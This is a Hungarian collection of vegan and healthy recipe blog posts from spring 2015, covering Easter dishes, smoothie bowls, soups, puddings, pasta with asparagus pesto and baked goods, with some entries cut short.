Egy kisebb tepsibe is sütöttem egy adagnyit ebből, azt használtam a tapsifüles megformázásához. Abból lett kivágva a tappancs, a fül, a szem, a pofi, az orr. Vérnarancs adta a száját. Ezeket jól bekentem felvert hulalával, majd ráraktam a tortaformára. Kicsit sietősen készült. Ha több időm lett volna, biztos még jobban nézett volna ki. Bár így is aranyos volt. Kata és Tünde a 4 gyermek közül kettő, rögtön a nyuszi füleit akarta megenni. Szóval mondhatom, sikere volt. :)
Boldog húsvéti ünnepeket kívánok minden kedves olvasómnak!
Sütőben sült édesburgonyás sárgarépafasírt (gluténmentes, vegán), uborkás kuszkusszal
A naptár szerint Húsvét van! :-) Én még az előző ünnepi menüsort sem fejeztem be, de már itt is egy újabb hosszú hétvége, a Húsvét! Természetesen fejet hajtok az idő múlása, és a naptár előtt, úgyhogy felfüggesztem a korábbi zöld receptek posztjait, és hozok nektek egy-két húsvéti hangulatú, egyszerűen elkészíthető, könnyedén emészthető, egészséges, rendhagyó és látványos ételt. édesburgonyás sárgarépafasírt (gluténmentes, vegán) Mivel az idén úgy alakult, hogy mi munkával töltjük az ünnepeket, ezért nem is készülök nagy sütéssel-főzéssel, vendégvárással. A mennyiség nem fontos, a minőség, és különlegesség helyett pedig úgy döntöttem, inkább viccesre, és szórakoztatóra veszem a stílust! Így a húsvétra jellemző figurák megformálására helyeztem a hangsúlyt az ételek és a desszert elkészítésénél. Jó kis gyurmázós nap volt ez a mai, amikor is megszületett a répa formájú, könnyed és puha, édesburgonyás sárgarépafasírt, uborkás kuszkusszal. Desszertnek pedig tojás alakú, színes, tápanyagban gazdag, nyers, gyümölcsös kókuszos falatkákat készítettem. Kedves Olvasó! Ezzel a két recepttel... "Ez az egész évben beszerezhető zöldség -a sárgarépa- a levesek, zöldséges ételek többségének alkotóeleme, ezért valószínűleg senki sem gondolná, hogy nem fogyaszt belőle eleget. Érdemes azonban tudatosan is beiktatnunk táplálkozásunkba, hiszen karotinjai erősítik az immunrendszert, védenek a szabad gyökök károsító hatásával szemben, és a daganatos betegségek megelőzésében is fontos szerepük lehet." Forrás: Vital.hu sütőben sült édesburgonyás sárgarépafasírt, uborkás kuszkusszal HOZZÁVALÓK: édesburgonyás sárgarépafasírt (kb.12 db) - 1 nagy fej vöröshagyma - 3 gerezd fokhagyma - 1 nagy és érett paradicsom - 4 szál közepes sárgarépa (organikus) - 1 közepes méretű édesburgonya - fűszerek: őrölt fekete bors, Himalája só, bio ételízesítő, 2 ek pirospaprika fűszer, 1 ek mustár - 1 marék friss petrezselyem - 1 marék szezámmag - 1 ek őrölt lenmag 3 ek vízben elkeverve, és 10 percig állni hagyjuk, hogy kocsonyásodjon (vegán tojáspótló) - 1 ek útifűmaghéj - 100 g gluténmentes liszt pl.: barna rizsliszt (én ezt használtam), kukorcialiszt, csicseriborsóliszt, kölesliszt stb. uborkás kuszkusz (kb.4 főre) - 1 csésze jó minőségű kuszkusz - 2 csésze forró víz - Himalája só - 1/2 közepes kígyó uborka (Gluténmentes diétába a kuszkusz NEM illeszthető be!) édesburgonyás sárgarépafasírt (gluténmentes, vegán ) ELKÉSZÍTÉS: A megpucolt édesburgonyát feldaraboljuk kisebb kockákra, és kb.15-20 perc alatt készre pároljuk. (Ehhez a legtökéletesebb egy párolóedény). Közben a héjától megszabadított vöröshagymát, és fokhagymát, az érett paradicsommal együtt, felkockázzuk, és a turmix gépben egyneművé turmixoljuk. A sárgarépákat miután megpucoltuk, szintén pépessé turmixoljuk. A kapott két pürét egy tálba öntjük, és hozzáadjuk a fűszereket (só, bors, ételízesítő, mustár, pirospaprika). A friss petrezselymet apróra vágva a tálba szórjuk, a szezámmaggal, az útifűmaghéjjal és a kocsonyásított lenmaggal együtt. Az egészet összekeverjük a kiválasztott gluténmentes lisztünkkel, miközben a sütőt 200°C - ra előmelegítjük. Kézzel répa formákat gyúrunk a fasírt alapanyagból, amelyeket egy sütőpapírra helyezünk, és kókusz olajjal vékonyan megkenünk (a répák tetejét). Légkeveréses programon kb.25 perc alatt, majd a végén plusz 5 percig grillezős programon készre sütjük a répa formájú répa fasírtokat, amelyek tökéletes húspótlók nem csak Húsvétkor! ;-) Igyekszem kerülni az olajban sült ételeket, így a zöldség fasírtjaim is olajtól nem tocsogó, kalóriabarát, sütőben süthető mégis puha és omlós főételek. Mint ez a sárgarépa fasírt, vagy a korábbi lencsefasírt és diósült is. ;-) uborkás kuszkuszAmíg a répák süldögélnek a sütőben, elkészítjük a kuszkuszt a szokásosan egyszerű módon. Egy műanyag keverő tálba teszünk egy csapott bögre kuszkuszt, egy csipet sót, és hozzáadunk 2 bögre forró vizet. Azonnal lefedjük légmentesen folpackkal, és 20 percre állni hagyjuk. A kuszkusz megszívja magát a vízzel, a vízgőzben felpuhul, és kész is. Miután elkészült, összekeverjük a friss és nyers kockákra vágott kígyó uborkával, és már tálalhatjuk is a frissen sült, puha sárgarépa fasírtunk mellé.:-) Ha valaki ügyel a kalórai bevételre, vagy teljesen gluténmentes ételt szeretne, vagy csak egy könyedebb vacsorára vágyik, akkor hagyja az uborkás kuszkuszt, és fogyasszon a répa fasírt mellé, sok-sok nyers zöld zöldséget, salátát. Úgy is nagyon finom lesz! ;-) nyers és friss zöld saláta Táplálkozásban- és nem csak étkezésben gazdag, örömteli ünnepi hétvégét kívánunk! Megjegyzés: Ha valaki nem tudná a "kuszkusz a szó szoros értelmében tészta, mely úgy készül, hogy daraszemeket nagyon finom lisztréteggel vonnak be, így azok könnyebben magukba szívják a nedvességet. Kinézetre inkább gabonafélének tűnik, és megfőzni is úgy szokás. A kuszkusz Észak-Afrikából származik, ahol a legelterjedtebb főzési módja, hogy egy ragu felett megpárolják. A szemek, miközben megduzzadnak és megpuhulnak, magukba szívják az étel gőzét és aromáját. Így készül például a híres észak-afrikai húsétel, a tagine, mely arról a kúp alakú edényről kapta a nevét, amelyben hagyományosan főzik." Forrás: Readers Digest
Kölestúrós vegán piskóta
2015. április 2. Mindennapi ételeink
Igazi ínyenc csemege, melyet Vilmányi Andrea bocsátott rendelkezésemre, miután találkoztunk és átadtam neki a Dr. Steinberger gyümölcslé nyereményeket, és én pedig megkóstoltam ezt a finom süteményt. Gyorsan le is fotóztam és azonnal elkértem a receptet. Így vendégblogíróval bővül ebben a hónapban az oldal. :-) A tojásmentes Piskóta receptje: 1 dl víz 10 dkg kókusz/dió/mák 10 dkg fruktóz 10 dkg finomliszt 10 dkg teljes kiőrlésű liszt 2,5 tk. sütőpor 0,8 dl olaj (citromízú olajat is lehet használni) 1,5 dl joghurt vagy víz 2 ek. lekvár Kölestúró receptje 15 dkg köles 7 dl növényi tej (én Cocomas tejszínt hígítottam vízzel) a barackbefőtt vagy konzerv leve fruktóz ízlés szerint 1 citrom héja és kevés leve fél tofu barackdarabok Elkészítés: A kölest megmossuk és feltesszük a növényi tejben és baracklében főni. Ha megfőtt, beletesszük a citromhéjat, fruktózt fél tofut és botmixerrel összeturmixoljuk, majd a barackdarabkkal összekeverjük. A tészta hozzávalóit összekeverjük. Egy pite formát kiolajozunk és a piskóta tészta felét beleöntjük és szétterítjük, majd a tölteléket elsímítjuk rajta és végül a piskóta másik felét is rátesszük. 180 fokon kb. 30 percig sütjük. Kihűlve szeletelhető. :)
Smoothie bowl, avagy az ehető szuper turmix
2015. április 1. Zizi kalandjai
A The Telegraph egyik februári cikke szerint a legújabb kaja trend a smoothie bowl, azaz magyarul valami ilyesmit jelent: turmix tálban felszolgálva, de állagából adódóan gyümölcsös joghurt krémfagylalt is lehet. Tehát ez egy olyan smoothie/turmix, amit inkább eszünk, mint iszunk, mivel az állaga egy kicsit sűrűbbre van hagyva. Trend vagy nem trend, mi imádjuk! A fotón lévő kisebb tálkából Ádi evett, általában kétszer-háromszor repetázik, szóval akkora adagot eszik a végén, mint én! Nagy népszerűségének köszönhetően hetente többször ezt reggelizzük mostanában.
És, hogy miből áll össze a smoothie bowl?
Van benne:
– gyümölcs (banán édesítés és krémesség miatt, avokádó, bogyós gyümölcsök vagy citrusfélék)
– leveles zöld (spenót, mángold, leveleskel, stb.)
– szuperélelmiszer (kendermagliszt, chia mag, stb.)
– fehérje + zsiradék (mandulavaj, földimogyoróvaj, stb.)
– folyadék (többnyire növényi tej vagy kókuszvíz)
A banánt és az avokádót frissen teszem bele, azonban a bogyós gyümölcsöket fagyasztott állapotban, így ez kellemesen hűssé teszi és tényleg krémes fagylalt jelleget ad neki. Nyáron kiváló reggeli lesz a nagy melegben. Leveles zöldek közül olyat válasszunk, aminek semleges íze van. A szuperélelmiszerek tárháza kifogyhatatlan, szinte az egész smoothie bowl szuperélelmiszerek hada, de ha még pluszban akarunk hozzáadni valamit, akkor kísérletezhetünk kendermagliszttel, chlorrelával, spirulinával, búzafű porral, stb.
Én most kivételesen nagyon extrát tettem bele, baobabot, amit ajándékba kaptam Angliából (már itthon is kapható egyébként). A baobab – másnéven majomkenyérfa – az afrikai tájképek jellegzetes fája. A gyökerétől a terméséig minden részét táplálékként használják fel. A gyümölcshúsnak igen magas a C- és B vitamin, valamint kálcium tartalma. A benne lévő rostok hatékonyan hatnak az emésztésre. Afrikában az egyik legjelentősebb haszonnövény. Nagyon érdekes a baobab legendája… “A teremtés hajnalán az első fa a baobabfa volt. Őt követte a sudár és kecses pálmafa. Amikor a baobabfa meglátta a pálmafát, rögtön sírni kezdett: hadd lehessen magasabb… Eztán feltűnt a tűzvörös juhar lángoló virágaival, és a baobabfa rögtön irigy lett a csodás virágokra. Végül a baobabfa megpillantotta a fönséges fügefát, és gyümölcsökért fohászkodott. Erre az istenek nagyon dühösek lettek, megfogták a baobabfát, kitépték a földből, és fejre állítva újra elültették, hogy végre elhallgasson.” (Forrás: AntalVali.com)
Gazdagabbá tehetjük reggelinket, ha adunk hozzá mandulavajat, földimogyoróvajat vagy kesudióvajat. Növényi tejek közül pedig bármelyik megfelel, legyen az kókusztej, zab-, rizs-, mandula- vagy diótej. Mivel sűrű joghurt állaga lesz, a tetejére mindenképpen ajánlok valami ropogtatnivalót!
Tudom, ez egy költségesebb reggeli, ha az alapanyagokat nézzük, de azért lehet a költségeken faragni: banánt, avokádót lehet nagyon sokszor akciósan kapni egyes élelmiszer üzletekben (én ma pl. kiváló Hass avokádókat vettem a Lidlben 175 Ft/db áron). A fagyasztott bogyós gyümölcsök szerintem olcsóbbak, mint a frissek. A leveles zöldek szezonális áron kaphatók lassan a piacokon. Az extra szuperélelmiszer porokat el is hagyhatjuk, ez csak extra, enélkül is kiváló lesz a krémes joghurtunk. Viszont rakhatunk bele lenmagot vagy chia magot. A magvajakat és a növényi tejeket pedig mi magunk is elkészíthetjük házilag.
A hozzávalók tárháza kifogyhatatlan, a fantáziátokra bízom, hogy milyen smoothie bowl-t csináltok magatoknak. Küldjetek róla egy képet, ha kipróbáltátok és ízlett!
Málnás smoothie bowl
Hozzávalók 3 főre:
– 1 db banán, meghámozva, felszeletelve
– 1/2 avokádó, kanállal kikapart húsa
– egy kisebb marék leveleskel
– két közepes maréknyi fagyasztott málna
– 2 evőkanál zabpehely
– 1 evőkanál mandulavaj
– 1 evőkanál lenmag
– 1/2 evőkanál chia mag
– 3 teáskanál baobab por
– 1/2 teáskanál fahéj
– kb. 300 ml mandulatej vagy egy kicsivel több, attól függően, hogy milyen állagúra szeretnénk
– tetejére: hántolt kendermag, pirított natúr napraforgómag vagy tökmag, goji bogyó
Tegyünk minden hozzávalót a turmixgépbe és pépesítsük simára néhány perc alatt. Ha túl sűrűnek találjuk, adjunk még hozzá egy kis mandulatejet. Adagoljuk tálkákba és tálaljuk pirított napraforgómaggal, goji bogyóval megszórva.
Kakaós kevert sütemény
2015. március 31. Lét-tudatos konyha
Hozzávalók: - 1/2 kg fehér tönkölybúzaliszt - 3 evőkanál kakaópor (legalább 15%-os) - 3 evőkanál kókuszreszelék - 1 csg sütőpor - 1 csipet só - 12 dkg nádcukor - 4 evőkanál kókuszolaj - kb. 5,5 dl víz
Csokis-vaníliás puding málnakrémmel
2015. március 26. Éltető ételek
Egy roppant egyszerű puding, és még csak főzni sem kell. A csokikrém egy egyszerű avokádóhab, a vanília része pedig egy lágy mandulakrém. A tetejére pedig egy málnás hab kerül. Hmmm..... finom. Próbáljátok ki. Hozzávalók: Csokis "puding": - 2 érett avokádó - 1-2 evőkanál cukrozatlan kakaópor - 3-4 evőkanál kókuszvirgcukor - 0,5 dl mandulatej vagy frissen préselt narancslé - 4-5 csepp narancsolaj Vaníliás "puding" - 10 dkg áztatott mandula - 2 evőkanál juharszirup - fél citrom leve - 1 kávéskanál vaníliapor - 1 evőkanál chiamag - csipet só Málnakrém: - 10 dkg málna - 1-2 evőkanál útifűmaghéj - ízlés szerint juharszirup Elkészítése : A csokis pudinghoz az avokádót megszabadítjuk a héjától és a magjától. Az összes hozzávalót egy tálba tesszük, és úgy 1 percig botmixerezzük. Jó lágy, habos legyen. A vaníliás pudinghoz a mandula barna héját leszedjük, majd egy turmixba beletesszük a juharsziruppal együtt. Éppen csak annyi vizet öntünk rá, hogy ellepje. Legalább 1-2 percig turmixoljuk, hogy egy krémes állagú legyen. Hozzáadjuk a citromlevet (kóstolgassuk), és a többi hozzávalót is. A chiamag meg fog duzzadni, ezért hagyjuk egy kicsit állni, mielőtt pohárba töltjük. A málnakrémhez egyszerűen csak villával szétnyomkodtam a gyümölcsöt, majd hozzáadtam a többi hozzávalót is. Rétegezzük a pohárba a hozzávalókat, és hűtsük le úgy fél órára.
Brokkolis-búzahúsos vadas
2015. március 24. Mindennapi ételeink
Hozzávalók: 4 közepes sárgarépa 3 rózsa brokkoli 1 fehérrépa 1/2 kisebb zeller 1 fej vöröshagyma 4 gerezd fokhagyma 2-3 babérlevél 2 ek. olívaolaj kb. 1 dl víz só - ízlés szerint vegamix - ízlés szerint 2 ek. mustár 2 dl növényi tejszín 3 ek. finomliszt kis citromlé - ízlés szerint -- 10 dkg kész búzahús 1 ek. kókuszzsír 2 ek. paprikakrém 2 tk. fokhagymapor 25 dkg gluténmentes tészta, kiskagyló Elkészítés: A hagymát meghámozzuk és apróra vágjuk. Olaj és ugyanannyi víz keverékén megpároljuk. Eközben a brokkolit alaposan megmossuk és kis darabokra szedjük. A sárgarépát, fehérrépát, zellert szintén megmossuk, meghámozzuk és lereszeljük. Hozzáadjuk a hagyás alaphoz, majd ízesítjük babérlevéllel, vegamix-szel, sóval, fokhagymával. A brokkolit kb. 10 perc elteltével adjuk hozzá Roppanósra pároljuk, ha szükséges, kevés vizet adunk hozzá. Eközben kikeverjük a növényi tejszínt, a lisztet és a mustárt, és mindezt ráöntjük a megpárolódott zöldségekre. Kevés citromlével is még ízesítjük, ill. igény szerint adunk hozzá még sót vagy ételízesítőt. A búzahúst csíkokra vágjuk és kókuszolajjal kikent tepsibe téve paprikarémmel és fokhagmaporral összepirítjuk, majd belekeverjük a szószba. Összefőzzük és a kifőtt tésztára locsolva melegen tálaljuk.
Vegán mákos császármorzsa
2015. március 22. Mindennapi ételeink
Nagy kedvenc, új köntösben :-) Hozzávalók: 3 ek. kukoricaliszt 3 ek. zabpehelyliszt 2 ek. rétesliszt 4 ek. nyírfacukor / gyümölcscukor 4 ek. zabitalpor 2-3 dl víz 6 ek. darált mák 6 ek. olaj 1 citrom héja mazsola - ízlés szerint -- kókuszzsír Elkészítés: A tészta hozzávalóit simára keverjük (tejpor+ víz helyett használhatunk kész növényi tejet is), és 30 percet hagyjuk állni. Kerámia vagy teflonserpenyőbe teszünk 2 ek. kókuszzsírt, és erre öntjük a masszát, fakanál segítségével keverjük-forgatjuk-daraboljuk. Akkor készül el, amikor teljesen megfőtt-átsült a tészta. Porcukorral, lekvárral vagy szirupokkal tálaljuk.
Zöld spagetti zöld spárgás pestóval - gluténmentes (zöld menüsor Szent Patrik napon 2.rész)
2015. március 21. Zöld Avocado
Folytatva az előző bejegyzéseket (Szent Patrik napi zöld hullám), ismét egy zöld étel receptjét osztom meg veletek. :-) A következő fogás egy gyorsan elkészíthető, természetesen tápanyagokban gazdag, zöld spagetti nyersnek mondható zöld spárgás pestóval, gluténmentesen. Zöld spagetti zöld spárgás pestóval Gyors egy kis szösszenet a spárga jótékony hatásairól, és már jöhet is a recept, amit akár még ma el is készíthettek, mert semmilyen előkészületet, vagy különlegesebb bevásárlást nem igényel! ;-) "A növény szárát jól emészthető rostok alkotják. A hajtások A-, B1-, B2-, C- és E-vitaminban,folsavban gazdagok. Zsírtartalma jelentéktelen, nem tartalmaz koleszterint. Sok értékes aminosavat, köztük aszparaginsavat is tartalmaz, kalóriatartalma azonban csekély. Miután a hajtások nagy része, 93-95 százaléka víz, a maradék szárazanyag kevés kalóriát képvisel. 100 gramm spárgába mindössze 20 kalória szorult. Kifejezetten kevés benne a cukor, 100 grammban összesen 4 gramm szénhidrát van. Tartalmaz kalciumot, foszfort, vasat, sok káliumot, viszont nátriumtartalma alacsony. A nyomelemek közül ónt, szilíciumot, molibdént. A zöld klorofillban gazdag, több benne a C-vitamin és a karotin, mint a halványított változatában, ezért táplálékként is értékesebb. Gyógynövényként több évszázada számon tartják. Elsősorban vízhajtó és vesekő-eltávolító hatása ismert, vízhajtóként áttételesen a szívet tehermentesítve a keringésre is jótékony hatással van. Ugyancsak vízhajtó tulajdonságával van összefüggésben, hogy segíti a szervezet méregtelenítését. Szárított porát fogfájás kezelésére is használták. Kedvezően hat a belső elválasztású mirigyek működésére, és enyhe hashajtó hatású. A nyers spárgalé is egészséges, 4-5 hajtásból zöldségcentrifugával félcsészényi nyerhető. Túlzott fogyasztása nem javasolt köszvényes és veseköves, illetve erre hajlamos emberek részére. Nagyobb mértékben még az érszűkületre is jó hatással van." Forrás: Wikipédia zöld spagetti zöld spárgás pestóvalHOZZÁVALÓK: (kb.4 személyre) - 1 zacskó kukoricából készült spagetti (vagy teljeskiőrlésű, ha nem fontos a gluténmentesség) - 60 g reszelt parmezán - 1 köteg zöld spárga (kb.15-16 szál) - 2-3 gerezd fokhagyma - 60 ml extra szűz olíva olaj (most ne használjunk kókusz zsírt) - 16 levél friss bazsalikom - 4 ek fenyőmag - snidling vagy metélőhagyma vagy akár medvehagyma - Himalája só, frissen őrölt fekete bors - (opcionálisan - akármilyen csíra) ELKÉSZÍTÉS: Feltesszünk egy nagy lábasban vizet forrni a spárgáknak, és a spagetti tésztának. Miután a víz felforrt, beledobjuk a megmosott, és fás végietől megtisztított spárgákat. 2 perc múlva kivesszük őket, és hideg vízbe tesszük. Az újra forrásban lévő vízbe teszünk egy kevés sót, és olajat, és a hagyományos módon, tésztától függően 8-10 perc alatt készre főzzük benne a spagettit is. Amit a spárgával csináltunk, azt hívják blansírozásnak, azaz leforráztuk őket, hogy egy kicsit mepuhuljon, de ne főljön szét, megtartsa a szép zöld színét, és értékes tápanyagait is. Miközben fő a spagetti tészta, elkészítjük a zöld pestónkat. A fenyőmagot ledaráljuk, majd hozzátesszük az olíva olajat, a parmezánt, a sót, és borsot, a blansírozott nagyobb darabokra szelt spárgát, és 2 kanállal a főző vízből. Ezt az egészet krémes állagúra turmixoljuk. zöld spagetti zöld spárgás pestóval A bazsalikom leveleket ha van otthon, akkor mozsárban összetörjük, ha nincs, akkor veszünk egy keskenyebb szájú bögrét, egy fakanalat, vagy akár egy fa méz csurgatót, és körkörös nyomó mozdulatokkal pár perc alatt szétzúzzuk a bazsalikom leveleket. (ezt a munka folyamatot oda adhatjuk a férfinak a háznál, és így közös főzés lesz belőle. ;-) ). Amint kész a szétzúzott bazsalikom beletesszük a már krémes zöld pesztós edénykénkbe, és tovább turmixoljuk az egészet egybe. De! Csak pár másodpercig tegyük ezt, mert a melegedő fém és a bazsalikom találkozása kesernyés ízt idéz elő, ezért nem szabad megvárni, hogy a turmix kés felmelegedjen. 5-6 fordulat, és kész is az egynemű zöld spárgás pestónk. :-) A megfőtt spagetti tésztát folyó hideg víz alatt átszűrjük, majd jó alaposan összekeverjük a nyersnek mondható zöld pestónkkal. Jól keverjük össze, hogy mindenhová jusson az ízes "szószból". ;-) Tálalás előtt szórjuk meg apróra vágott snidlinggel (vagy egyéb zöld hagymával), és ha van otthon, akkor a csírák is remekül passzolnak ehhez a tészta ételhez. Szórjuk meg azzal is! zöld spagetti zöld spárgás pestóval Táplálkozz, ne csak étkezz! Jó étvágyat hozzá! Megjegyzés1: Ez így egy szoba hideg (nem hűtő hideg) tészta étel lesz, de ha ez zavar minket, akkor a megfőtt, és leszűrt tésztát melegítsük fel, mielőtt összekeverjük a zöld pesztóval. De még előtte, hogy a zöldségek és fűszerek ne veszítsenek még több értékes tápanyagot a hő hatására. Megjegyzés2: az én gyomrom nem annyira szereti a nyers fokhagymát, ezért én a fokhagymát is blansírozom a spárgával együtt, így elveszíti az erejét, és a gyengébb gyomrúak számára is fogyaszthatóvá válik. Megjegyzés3: Ha csak két főre készítjük az ételt, felezzük meg a felhasználandó hozzávalók mennyiségét. Másnaposan nem olyan finom, mert a tészta magába szívja a nedvességet, és összeáll az egész.
Tápláló brokkolikrémleves mozzarellával és tökmaggal (zöld menüsor Szent Patrik napon 1.rész)
2015. március 20. Zöld Avocado
Az előző bejegyzés az írországi Szent Patrik napról, és az általa okozott "bezöldülésről" szólt! Prezentáltam nektek egy zöld menüsort, és azt ígértem, hogy végig veszem a recepteket. Tudom, hogy mindenki a látványos szőlős- csoki krémes torta receptre vár, ezért nem azzal kezdem! :-) A jó dolgokat általában ki kell érdemelni, a finom falatokra mindig várni kell, és az étkezést sem a desszertel kezdjük... legalább is általában nem. ;-) Egy kis türelmeteket kérem, és azt, hogy adjatok esélyt a többi zöld ételnek is, ne csak az édességnek! :-) tápláló brokkolikrémleves mozzarellával Kezdjük a menüt a zöld levessel, ami ezúttal egy krémes, tápanyagban gazdag, ízletes és egyszerűen elkészíthető brokkolikrémleves. Tudom, tudom... a brokkoli nem egy közkedvelt zöldség. Higyjétek el, nálam sem volt az korábban. ;-) De az a jó a kevésbé finom zöldségekben is, hogy el lehet készíteni őket ízletes ételekként, és akkor szívesen kanalazzuk az értékes zöld brokkoli rózsákat például levesként, vagy eldugva egy burgonyás egytálételben. Jóóóó sok évvel ezelőtt vendégségben voltunk valahol, ahol illedelmességből megkóstoltam a számomra akkoriban egyáltalán nem vonzó tejszínes brokkolikrémlevest, szárított kenyér kockákkal, és reszelt sajttal. Mondanom sem kell, magamtól nem készítettem volna brokkolit semmilyen formában ezidőtájt. Illedelmességből megkóstoltam, és azóta nem tudom abbahagyni! :-) Persze a kenyér kockák mára már tökmag vagy napraforgó maggá alakultak, a reszelt sajt sem állandó szereplője ennek a tápláló krémlevesnek, és a tejszínes sűrítést felváltotta a természetes sűrítés*. Na és akkor röviden miért is olyan értékes és tápláló a brokkoli? "Rosttartalma jótékony hatású székrekedéses panaszoknál, mivel serkenti a belek mozgását. Ásványi anyagai közül említésre méltó a kálium, a kalcium, a magnézium, nátrium, a vas, a cink és a foszfor. A nyers növényben B1-, B2-, B6-vitamin, C-vitamin, K-vitamin és E-vitamin is kimutatható, valamint az A-vitamin provitaminja, a béta-karotin. Igen gazdag folsavban; fogyasztása várandósoknak kifejezetten javasolt. A brokkoli az egyik C-vitaminban leggazdagabb zöldség. Többek között megtalálható benne az a szulforafán nevű kéntartalmú vegyületet is, amely kemopreventív molekulaként segíti a szervezetnek a daganatos sejtek elpusztítását célzó természetes folyamatainak a beindulását. Ezen kívül támogatja a szervezet méregtelenítésében fontos védőenzimek működését is, amelyek segítenek a rákkeltő anyagok kiválasztásában és megelőzik a rákhoz vezető sejtkárosodást. Különösen az ösztrogénfüggő emlő- és egyéb daganatok esetében játszhat szerepet a rákmegelőzésben. Régóta fölismerték a kutatók, hogy a nyers vagy párolt brokkolit gyakran evő közösségekben a koszorúér-betegség és bizonyos daganatok ritkábban fordulnak elő. Egy új vizsgálat most azt jelzi, hogy brokkoli fogyasztásával jelentősen fokozható a szív oxigénhiánnyal szembeni ellenálló képessége. " Forrás: Dietetika Életmód brokkolikrémleves mozzarellával HOZZÁVALÓK: (kb. 4 személyre) - 2 nagyobb fej brokkoli (lehetőleg kistermelőtől) - 2 nagy fej vöröshagyma - 4 gerezd fokhagyma - kevés extra szűz olíva olaj, vagy kókusz olaj - 2 db bio leveskocka - egy marék friss petrezselyem - Himalája só, őrölt fekete bors, 1 ek mustár - tökmag és napraforgó mag levesbetétnek - mozzarella sajt ELKÉSZÍTÉS:Egy nagyobb levesfőző edényben kevés olíva / kókusz olajon aranybarnára dinszteljük az előre apróra felvágott vöröshagymákat. Felengedjük kb. 1,5 liter vízzel, beletesszük a bio leveskockákat, a sót, borsot, mustárt, a felkarikázott fokhagymákat, és egy marék friss petrezselymet. Ne spóroljunk a fűszerekkel, mert ez adja a leves ízét. Fedő alatt, közepes lángon elkezdjük összefőzni a leves alapot, közben pedig elkészítjük a brokkolit. A brokkolikat rózsáikra szedjük, és alaposan megmossuk. Mivel a brokkoli nyersen és párolva őrzi meg értékes ásványi anyag- és vitamin tartalmát, ezért ebben a receptben nem főzzük meg őket, hanem csak pároljuk, hogy egy igazán tápláló levest kapjunk végeredményül. :-) Elővesszük a pároló edényt (vagy ha van a kuktánkat), és feltesszük a brokkolikat gőzben párolódni. 10 perc múlva elzárjuk a hőt a tűzhelyen lévő mindkét edényünk alatt. A párolt brokkoli rózsákat beletesszük az alaplébe, és kézi botmixerrel krémes állagúra mixeljük a levest. *Hiányzik valami??? Hiányzik a jól megszokott habarás, a rántás vagy a tejszínes sűrítés? Jól látod, hogy nem látod. :-) A természetes sűrítésnél, nincs szükségünk sem habarásra, sem rántásra, sem tejszínes sűrítésre ahhoz, hogy egy krémes levest vagy akár egy főzeléket kapjunk végeredményül. Sokkal egészségesebb, és emészthetőbb, ha a leveseket, főzelékeket, önmagukkal sűrírtjük be. Ez azt jelenti, hogy egyrészt ne főzzük őket bő lével, másrészt miután megfőtt az adott zöldség, merjünk ki az edényből 1-2 merőkanállal a majdnem kész ételből, a kimert adagot turmixoljuk le, majd keverjük vissza a főzelékbe, miközben a tűzhely bekapcsolva marad. Ha túl híg a főzelék, vegyünk ki belőle nagyobb adagot, és sűrítsük be önmagával. A krémleveseket pedig egyszerűen csak kézi botmixerrel turmixoljuk le miután megfőtt a zöldség, egy kevéssel több vízben, mint ami ellepi. Ennyi. Ilyen egyszerű! :-) Nem kell semmilyen egyéb adalékanyag ahhoz, hogy a híg állagból sűrűt kapjunk. Tökmaggal, és / vagy napraforgó maggal pótolhatjuk a leves tésztát, melyet az apróra morzsolt mozzarrelával együtt, fogyasztás előtt, a meleg levesbe szórva tálalunk. tápláló brokkolikrémleves mozzarellával Tápanyagban gazdag Jó étvágyat kívánunk mindenkinek! ;-) Megjegyzés: Azt tudtátok, hogy "a dél-olaszországból származó mozzarella sajtot, a 16. század óta változatlan recept alapján készítik, a háziasított vízibivaly zsíros tejéből?! Gyártása során nem érlelik, semmilyen tartósítószert nem adnak hozzá, és nem is ízesítik. A készítés során a sajt zsírdús alapanyagát addig nyújtják és gyúrják, amíg végül formázhatóvá válik. A bivalytejben nincs karotin, ezért a színe tiszta fehér." Forrás: wikipedia
Medvehagymás vöröslencse leves ropogós zellerszárral
2015. március 18. Éltető ételek
Na persze... megint medvehagyma. Bizony. Ilyenkor használjuk ki az alkalmat, és amikor csak lehet,(akár mindig) együnk medvehagymát. Hozzávalók: - 1 marék vöröslencse - 1 közepes krumpli - 1 közepes sárgarépa - 2-3 gerezd fokhagyma - 1 kisebb vöröshagyma - kb. 10 cm-es szárzeller - 4-5 medvehagyma levél - 1 teáskanál kókuszolaj - só, chili, kevéske őrölt pirospaprika Elkészítése: A kókuszolajat melegítsük fel, majd adjuk hozzá a vöröshagymát és a fokhagymát. Picit később landolhat benne a vöröslencse és a többi zöldség. Persze előtt vágjuk fel kis darabokra.Fűszerezzük, és öntsük fel vízzel, úgy, hogy bőven ellepje.15 perc körül kóstoljuk meg, hogy megfőtt-e a zöldség. Amennyiben már puha is és finom is, adjuk hozzá a pici darabokra felvágott medvehagymát. Csak egy rottyantás, és kész is.
Kókuszos krémes
Holnapra készült ez a mennyi kókuszos-krémes torta. Mindenképp kóstolásra érdemes ;) Hozzávalók Alap: 2 csésze dió 8 szem áztatott datolya csipet só (opcionális) Robotgéppel eldolgozzuk. Nem baj, ha pici darabkák is maradnak benne ;) Ez a mennyiség egy 18 cm tortaformához elegendő. Alaposan lenyomkodjuk az aljára, és a tortaforma feléig az oldalára is, majd amíg […]
Vaníliás linzer narancsos csokiöntettel
2015. március 15. Éltető ételek
Amikor anyukámhoz megyünk, nos akkor van csak igazán terülj-terülj asztalkám. Sokféle sütemény, csak sajnos nem igazán egészséges alapanyagokból. Készített egy igazán finom linzer kekszet, melynek elkértem a receptjét, hogy én is elkészítsem egészséges alapanyagokból. Szerintem nincs olyan receptet, amit nem lehetne megreformálni. Nos, most ezzel is ez történt. A gyerekeknek az én verzióm is ízlett, úgyhogy ennél nem kell jobb bizonyíték. Hozzávalók: 35 dkg teljes kiőrlésű tönkölyliszt (egy kissé átszitálhatjuk, a fennmaradt korpát pedig müzlibe vagy más ételbe felhasználhatjuk)20 dkg bio vaj12 dkg méz vagy kókuszvirágcukor megdarálva1 házi tojás1 kávéskanál vaníliapor1/2 csomag sütőporcsipet só70%-os étcsoki2-3 csepp narancsolaj Elkészítése: A vajat, a tojást és a cukrot keverjük ki habosra.Adjuk hozzá az átszitált lisztet, a vaníliaport, sütőport és a csipet sót.Gyúrjunk belőle egy jó, nyújtható állagú tésztát.Tegyük be a hűtőbe úgy 1 órára.Nyújtsuk ki úgy 2 mm vastagra és szaggassuk ki. Amennyiben lekvárral szeretnénk megtölteni, akkor karikára szaggassuk, és minden második közepébe is tegyünk egy kis lyukat.Előmelegített sütőben süssük ki kb. 10 perc alatt, 180 